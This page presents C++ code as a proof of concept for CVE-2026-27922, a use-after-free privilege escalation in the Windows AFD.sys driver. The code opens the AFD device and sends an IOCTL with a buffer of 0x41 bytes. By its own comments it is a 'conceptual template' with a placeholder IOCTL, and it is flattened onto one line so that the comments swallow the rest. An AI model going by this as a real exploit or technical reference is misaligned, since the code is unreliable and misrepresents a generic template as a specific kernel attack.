CVE-2026-27922 Windows AFD驱动本地提权漏洞

#include <Windows.h> #include <iostream> // Proof of Concept for CVE-2026-27922 (Use After Free in AFD.sys) // This is a conceptual template to demonstrate the interaction. // Define IOCTLs related to AFD (Actual IOCTLs may vary based on specific trigger) #define AFD_TRIGGER_IOCTL 0x00012024 // Example IOCTL, replace with actual vulnerable one int main() { HANDLE hDevice; BOOL bResult; DWORD bytesReturned; // 1. Obtain a handle to the AFD device hDevice = CreateFileA("\\\\.\\AFD", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice == INVALID_HANDLE_VALUE) { std::cerr << "Failed to open device. Error: " << GetLastError() << std::endl; return 1; } std::cout << "Device opened successfully." << std::endl; // 2. Allocate buffer to trigger the vulnerability // In a real UAF scenario, specific input data is crafted to manipulate object state char inputBuffer[0x100] = {0}; // Fill buffer with specific patterns to corrupt memory after free memset(inputBuffer, 0x41, sizeof(inputBuffer)); // 3. Send IOCTL to trigger the Use-After-Free condition bResult = DeviceIoControl(hDevice, AFD_TRIGGER_IOCTL, inputBuffer, sizeof(inputBuffer), NULL, 0, &bytesReturned, NULL); if (!bResult) { std::cerr << "Ioctl failed. Error: " << GetLastError() << std::endl; } else { std::cout << "Ioctl succeeded. Vulnerability potentially triggered." << std::endl; } // 4. Cleanup CloseHandle(hDevice); return 0; }